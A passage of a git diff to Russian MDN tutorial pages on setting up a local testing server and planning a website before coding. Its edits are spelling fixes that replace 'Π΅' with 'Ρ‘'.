+<p>НСкоторыС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒΡΡ, Ссли Π²Ρ‹ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈΡ… ΠΊΠ°ΠΊ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ ΠΏΠΎ нСскольким ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, самыС распространённыС ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…:</p>
<ul>
<li><strong>Они содСрТат асинхронныС запросы.</strong> НСкоторыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Chrome) Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ асинхронныС запросы (см. <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a>), Ссли Π²Ρ‹ просто запускаСтС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ· локального Ρ„Π°ΠΉΠ»Π°. Π­Ρ‚ΠΎ связано с ограничСниями бСзопасности (для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ бСзопасности Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a>).</li>
@@ -62,7 +62,7 @@ translation_of: Learn/Common_questions/set_up_a_local_testing_server
<pre class="brush: bash notranslate">python -V</pre>
</li>
<li>
- <p>БистСма Π²Π΅Ρ€Π½Π΅Ρ‚ Π’Π°ΠΌ Π½ΠΎΠΌΠ΅Ρ€ вСрсии установлСнной ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π’ случаС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ выполнСния ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹Β <code>python -VΒ </code>Β Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ с вашим ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ <code>cd</code>:</p>
+ <p>БистСма Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π’Π°ΠΌ Π½ΠΎΠΌΠ΅Ρ€ вСрсии установлСнной ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π’ случаС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ выполнСния ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹Β <code>python -VΒ </code>Β Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ с вашим ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ <code>cd</code>:</p>
<pre class="brush: bash notranslate"># include the directory name to enter it, for example
cd Desktop
@@ -78,7 +78,7 @@ python -m http.server
python -m <code>SimpleHTTPServer</code></pre>
</li>
<li>
- <p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ запуску содСрТимого ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° Π½Π° локальном Π²Π΅Π±-сСрвСрС Π½Π° ΠΏΠΎΡ€Ρ‚Ρƒ 8000. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° этот сСрвСр, пСрСйдя Π½Π° URL-адрСс <code>localhost: 8000</code> Π² своСм Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ содСрТимоС ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° - Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ.</p>
+ <p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ запуску содСрТимого ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° Π½Π° локальном Π²Π΅Π±-сСрвСрС Π½Π° ΠΏΠΎΡ€Ρ‚Ρƒ 8000. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° этот сСрвСр, пСрСйдя Π½Π° URL-адрСс <code>localhost: 8000</code> Π² своём Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ содСрТимоС ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° - Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ.</p>
</li>
</ol>
@@ -91,7 +91,7 @@ python -m <code>SimpleHTTPServer</code></pre>
<p>ΠœΠΎΠ΄ΡƒΠ»ΡŒ Python <code>SimpleHTTPServer (python 2.0) http.server (python 3.0)</code> ΠΏΠΎΠ»Π΅Π·Π΅Π½, Π½ΠΎ ΠΎΠ½ Π½Π΅ Π·Π½Π°Π΅Ρ‚, ΠΊΠ°ΠΊ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄, написанный Π½Π° Ρ‚Π°ΠΊΠΈΡ… языках, ΠΊΠ°ΠΊ Python, PHP ΠΈΠ»ΠΈ JavaScript. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с этим, Π²Π°ΠΌ понадобится Π½Π΅Ρ‡Ρ‚ΠΎ большСС - ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, зависит ΠΎΡ‚ языка сСрвСра, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ. Π’ΠΎΡ‚ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²:</p>
<ul>
- <li>Для запуска ΠΊΠΎΠ΄Π° Π½Π° сторонС сСрвСра Python Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-инфраструктуру Python. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ структуру Django, ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π² <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a>. <a href="http://flask.pocoo.org/">Flask</a> Ρ‚Π°ΠΊΠΆΠ΅ являСтся Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ (Ρ‡ΡƒΡ‚ΡŒ ΠΌΠ΅Π½Π΅Π΅ тяТСлой) Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²ΠΎΠΉ Django. Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ это, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">install Python/PIP</a>, Π° Π·Π°Ρ‚Π΅ΠΌ установитС Flask с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>pip3 install flask</code>. На этом этапС Π²Ρ‹ смоТСтС Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Python Flask, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>python3 python-example.py</code>, Π·Π°Ρ‚Π΅ΠΌ пСрСйдя Π½Π° <code>localhost: 5000</code> Π² свой Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.</li>
+ <li>Для запуска ΠΊΠΎΠ΄Π° Π½Π° сторонС сСрвСра Python Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-инфраструктуру Python. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ структуру Django, ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π² <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a>. <a href="http://flask.pocoo.org/">Flask</a> Ρ‚Π°ΠΊΠΆΠ΅ являСтся Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ (Ρ‡ΡƒΡ‚ΡŒ ΠΌΠ΅Π½Π΅Π΅ тяТёлой) Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²ΠΎΠΉ Django. Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ это, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">install Python/PIP</a>, Π° Π·Π°Ρ‚Π΅ΠΌ установитС Flask с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>pip3 install flask</code>. На этом этапС Π²Ρ‹ смоТСтС Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Python Flask, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>python3 python-example.py</code>, Π·Π°Ρ‚Π΅ΠΌ пСрСйдя Π½Π° <code>localhost: 5000</code> Π² свой Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.</li>
<li>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ сСрвСрный ΠΊΠΎΠ΄ Node.js (JavaScript), Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Node.jsΒ ΠΈΠ»ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ, построСнный ΠΏΠΎΠ²Π΅Ρ€Ρ… Π½Π΅Π³ΠΎ. Express - Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ Π²Ρ‹Π±ΠΎΡ€ - см. <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a>.</li>
<li>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ PHP-сСрвСрный ΠΊΠΎΠ΄, Π²Π°ΠΌ понадобится настройка сСрвСра, которая ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ PHP. Π₯ΠΎΡ€ΠΎΡˆΠΈΠΌΠΈ вариантами для локального тСстирования PHP ΡΠ²Π»ΡΡŽΡ‚ΡΡ <a class="external external-icon" href="https://www.mamp.info/en/downloads/">MAMP</a> (Mac ΠΈ Windows), <a class="external external-icon" href="http://ampps.com/download">AMPPS</a> (Mac, Windows, Linux) ΠΈ <a href="https://www.linux.com/learn/easy-lamp-server-installation">LAMP</a> (Linux, Apache, MySQL ΠΈ PHP / Python / Perl). Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π½Ρ‹Π΅ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ настройки, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Apache, PHP ΠΈ MySQL.</li>
</ul>
diff --git a/files/ru/learn/common_questions/thinking_before_coding/index.html b/files/ru/learn/common_questions/thinking_before_coding/index.html
index f10459aee6..ab8ad9f053 100644
--- a/files/ru/learn/common_questions/thinking_before_coding/index.html
+++ b/files/ru/learn/common_questions/thinking_before_coding/index.html
@@ -27,7 +27,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding
<p><span class="seoSummary">Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ людСй, начиная свой web-ΠΏΡ€ΠΎΠ΅ΠΊΡ‚, Ρ„ΠΎΠΊΡƒΡΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΡ€Π΅ΠΆΠ΄Π΅ всСго Π½Π° тСхничСской Π΅Π³ΠΎ сторонС. БСзусловно, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ прСдставлСниС ΠΎ тСхничСской сторонС своСй Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π½ΠΎ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π²Π°ΠΆΠ½Π΅Π΅ спСрва ΡƒΠ·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ это каТСтся ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌ, однако слишком ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² Π½Π΅ Π΄ΠΎΠΆΠΈΠ²Π°ΡŽΡ‚ Π΄ΠΎ Ρ€Π΅Π»ΠΈΠ·Π° Π½Π΅ ΠΈΠ·-Π·Π° отсутствия тСхничСских Π·Π½Π°Π½ΠΈΠΉ,Β Π½ΠΎ ΠΈΠ·-Π·Π° отсутствия Ρ†Π΅Π»Π΅ΠΉ ΠΈ видСния.</span></p>
-<p>Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° Ρƒ вас появляСтся какая-Ρ‚ΠΎ идСя ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠ΅ Π²ΠΎΠΏΠ»ΠΎΡ‚ΠΈΡ‚ΡŒ Π΅Π΅ Π² web-сайтС, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ Π½Π° 3 простых вопроса, ΠΈ ΡƒΠΆΠ΅ ΠΏΠΎΡ‚ΠΎΠΌ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ ΠΈΠ½ΠΎΠ΅Β :</p>
+<p>Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° Ρƒ вас появляСтся какая-Ρ‚ΠΎ идСя ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠ΅ Π²ΠΎΠΏΠ»ΠΎΡ‚ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² web-сайтС, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ Π½Π° 3 простых вопроса, ΠΈ ΡƒΠΆΠ΅ ΠΏΠΎΡ‚ΠΎΠΌ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ ΠΈΠ½ΠΎΠ΅Β :</p>
<ul>
<li>Π§Ρ‚ΠΎ я Ρ…ΠΎΡ‡Ρƒ Π² ΠΊΠΎΠ½Ρ†Π΅-ΠΊΠΎΠ½Ρ†ΠΎΠ² ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ?</li>
@@ -39,7 +39,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding
<h2 id="АктивноС_ΠžΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅">АктивноС ΠžΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p><em>На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ этот Ρ€Π°Π·Π΄Π΅Π» Π΅Ρ‰Π΅ Π½Π΅ Π³ΠΎΡ‚ΠΎΠ². Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠΎΡ‡ΡŒ сообщСству Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², вступив Π²Β <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
+<p><em>На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ этот Ρ€Π°Π·Π΄Π΅Π» Π΅Ρ‰Ρ‘ Π½Π΅ Π³ΠΎΡ‚ΠΎΠ². Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠΎΡ‡ΡŒ сообщСству Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², вступив Π²Β <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
<h2 id="Π‘ΠΎΠ»Π΅Π΅_Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ΅_ΠΏΠΎΠ³Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅">Π‘ΠΎΠ»Π΅Π΅ Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ΅ ΠΏΠΎΠ³Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅</h2>
@@ -55,7 +55,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding
<h3 class="highlight-spanned" id="Π§Ρ‚ΠΎ_ΠΆΠ΅_Π²_ΠΊΠΎΠ½Ρ†Π΅_ΠΊΠΎΠ½Ρ†ΠΎΠ²_я_Ρ…ΠΎΡ‡Ρƒ_ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ"><span class="highlight-span">Π§Ρ‚ΠΎ ΠΆΠ΅ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ² я Ρ…ΠΎΡ‡Ρƒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ?</span></h3>
-<p>Π­Ρ‚ΠΎΡ‚ вопрос Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ остро нуТдаСтся Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΡ‚Π²Π΅Ρ‚ являСтся Ρ€Π΅ΡˆΠ°ΡŽΡ‰ΠΈΠΌ Π² Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… дСйствиях. Π›ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ список Ρ†Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ: ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΌΠ°Π³Π°Π·ΠΈΠ½, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ политичСских взглядов, Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΊΡ€ΡƒΠ³Π° общСния, организация ΠΊΠΎΠ½Ρ†Π΅Ρ€Ρ‚ΠΎΠ², ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΎΠΊ с ΠΊΠΎΡ‚ΠΈΠΊΠ°ΠΌΠΈ, ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ Π΅Ρ‰Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ.</p>
+<p>Π­Ρ‚ΠΎΡ‚ вопрос Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ остро нуТдаСтся Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΡ‚Π²Π΅Ρ‚ являСтся Ρ€Π΅ΡˆΠ°ΡŽΡ‰ΠΈΠΌ Π² Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… дСйствиях. Π›ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΠΎΠ΄ΠΎΠΉΠ΄Ρ‘Ρ‚ список Ρ†Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ: ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΌΠ°Π³Π°Π·ΠΈΠ½, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ политичСских взглядов, Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΊΡ€ΡƒΠ³Π° общСния, организация ΠΊΠΎΠ½Ρ†Π΅Ρ€Ρ‚ΠΎΠ², ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΎΠΊ с ΠΊΠΎΡ‚ΠΈΠΊΠ°ΠΌΠΈ, ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ Π΅Ρ‰Ρ‘, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ.</p>
<p>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅ сСбя ΠΌΡƒΠ·Ρ‹ΠΊΠ°Π½Ρ‚ΠΎΠΌ. Π”ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ, Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅:</p>
@@ -87,21 +87,21 @@ translation_of: Learn/Common_questions/Thinking_before_coding
<h3 class="highlight-spanned" id="Как_сайт_ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚_ΠΌΠ½Π΅_Π²_достиТСнии_Ρ†Π΅Π»ΠΈ"><span class="highlight-span">Как сайт ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠ½Π΅ Π² достиТСнии Ρ†Π΅Π»ΠΈ?</span></h3>
-<p>И Ρ‚Π°ΠΊ, Ρƒ вас Π΅ΡΡ‚ΡŒ конкрСтная Ρ†Π΅Π»ΡŒ ΠΈ Π²Π°ΠΌ каТСтся, Ρ‡Ρ‚ΠΎ для Π΅Π΅ достиТСния Π½ΡƒΠΆΠ΅Π½ Π²Π΅Π±-сайт. Π’Ρ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹?</p>
+<p>И Ρ‚Π°ΠΊ, Ρƒ вас Π΅ΡΡ‚ΡŒ конкрСтная Ρ†Π΅Π»ΡŒ ΠΈ Π²Π°ΠΌ каТСтся, Ρ‡Ρ‚ΠΎ для Π΅Ρ‘ достиТСния Π½ΡƒΠΆΠ΅Π½ Π²Π΅Π±-сайт. Π’Ρ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹?</p>
-<p>ВСрнСмся ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ. Π£ нас Π΅ΡΡ‚ΡŒ 5 Π·Π°Π΄Π°Ρ‡, связанных с ΠΌΡƒΠ·Ρ‹ΠΊΠΎΠΉ, ΠΎΠ΄Π½Π°Β ΠΈΠ· области Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΆΠΈΠ·Π½ΠΈ (поиск своСй ΠΏΠ°Ρ€Ρ‹), ΠΈ Π½ΠΈ с Ρ‡Π΅ΠΌ Π½Π΅ связанныС Ρ„ΠΎΡ‚ΠΎ ΠΊΠΎΡ‚Π°. Π•ΡΡ‚ΡŒ Π»ΠΈ смысл ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ сайт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ способСн ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΠΈΡ‚ΡŒ всСм этим трСбованиям? Π’Π°ΠΊ Π»ΠΈ это 